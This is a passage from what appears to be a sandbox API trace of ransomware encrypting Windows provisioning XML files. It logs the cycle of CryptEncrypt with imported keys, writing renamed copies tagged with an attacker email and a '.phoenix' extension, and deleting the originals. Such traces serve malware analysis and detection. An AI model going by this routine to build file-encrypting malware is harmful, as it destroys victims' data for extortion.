	[0226.083] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0226.083] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0226.083] CryptDestroyKey (hKey=0x151380) returned 1
	[0226.083] CloseHandle (hObject=0x2c4) returned 1
	[0226.083] CloseHandle (hObject=0x2e8) returned 1
	[0226.085] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml")) returned 1
	[0226.085] SetEvent (hEvent=0x298) returned 1
	[0226.085] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0226.085] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.086] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=271) returned 1
	[0226.086] CloseHandle (hObject=0x2e8) returned 1
	[0226.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml")) returned 0x20
	[0226.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.086] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.086] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.087] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.087] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0226.087] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151440) returned 1
	[0226.087] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.087] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x10f, lpOverlapped=0x0) returned 1
	[0226.088] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0226.088] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0226.089] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1517c0) returned 1
	[0226.089] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.089] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0226.089] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0226.089] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0226.107] CryptDestroyKey (hKey=0x151440) returned 1
	[0226.107] CloseHandle (hObject=0x2e8) returned 1
	[0226.107] CloseHandle (hObject=0x2c4) returned 1
	[0226.107] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml")) returned 1
	[0226.108] SetEvent (hEvent=0x298) returned 1
	[0226.108] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0226.108] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0226.109] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=427) returned 1
	[0226.109] CloseHandle (hObject=0x2c4) returned 1
	[0226.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml")) returned 0x20
	[0226.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.109] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0226.109] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.109] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.109] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.109] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151100) returned 1
	[0226.109] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.109] ReadFile (in: hFile=0x2c4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1ab, lpOverlapped=0x0) returned 1
	[0226.111] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1b0, dwBufLen=0x1b0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1b0) returned 1
	[0226.111] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1b0, lpOverlapped=0x0) returned 1
	[0226.111] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151440) returned 1
	[0226.111] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.111] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0226.112] CryptDestroyKey (hKey=0x151440) returned 1
	[0226.112] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0226.114] CryptDestroyKey (hKey=0x151100) returned 1
	[0226.114] CloseHandle (hObject=0x2c4) returned 1
	[0226.114] CloseHandle (hObject=0x2e8) returned 1
	[0226.114] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml")) returned 1
	[0226.115] SetEvent (hEvent=0x298) returned 1
	[0226.115] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0226.115] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.115] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3257) returned 1
	[0226.115] CloseHandle (hObject=0x2e8) returned 1
	[0226.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml")) returned 0x20
	[0226.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.116] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.116] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.116] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.116] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0226.394] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151080) returned 1
	[0226.394] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.394] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xcb9, lpOverlapped=0x0) returned 1
	[0226.407] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xcc0, dwBufLen=0xcc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xcc0) returned 1
	[0226.407] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xcc0, lpOverlapped=0x0) returned 1
	[0226.408] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1514c0) returned 1
	[0226.408] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.408] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0226.408] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0226.408] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0226.408] CryptDestroyKey (hKey=0x151080) returned 1
	[0226.408] CloseHandle (hObject=0x2e8) returned 1
	[0226.408] CloseHandle (hObject=0x2cc) returned 1
	[0226.409] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml")) returned 1
	[0226.411] SetEvent (hEvent=0x298) returned 1
	[0226.411] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0226.411] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0226.411] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=271) returned 1
	[0226.411] CloseHandle (hObject=0x2cc) returned 1
	[0226.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml")) returned 0x20
	[0226.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.412] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0226.412] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.412] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.412] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.412] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151580) returned 1
	[0226.412] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.412] ReadFile (in: hFile=0x2cc, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x10f, lpOverlapped=0x0) returned 1
	[0226.414] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0226.414] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0226.415] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0226.415] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.415] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0226.415] CryptDestroyKey (hKey=0x151640) returned 1
	[0226.415] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0226.420] CryptDestroyKey (hKey=0x151580) returned 1
	[0226.420] CloseHandle (hObject=0x2cc) returned 1
	[0226.420] CloseHandle (hObject=0x2e8) returned 1
	[0226.421] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml")) returned 1
	[0226.422] SetEvent (hEvent=0x298) returned 1
	[0226.422] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0226.422] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.423] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=251) returned 1
	[0226.423] CloseHandle (hObject=0x2e8) returned 1
	[0226.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml")) returned 0x20
	[0226.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.423] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.423] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.423] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.423] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0226.424] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1512c0) returned 1
	[0226.424] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.424] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xfb, lpOverlapped=0x0) returned 1
	[0226.425] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100, dwBufLen=0x100 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100) returned 1
	[0226.425] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x100, lpOverlapped=0x0) returned 1
	[0226.426] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1513c0) returned 1
	[0226.426] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.426] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0226.426] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0226.426] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0226.426] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0226.426] CloseHandle (hObject=0x2e8) returned 1
	[0226.426] CloseHandle (hObject=0x2cc) returned 1
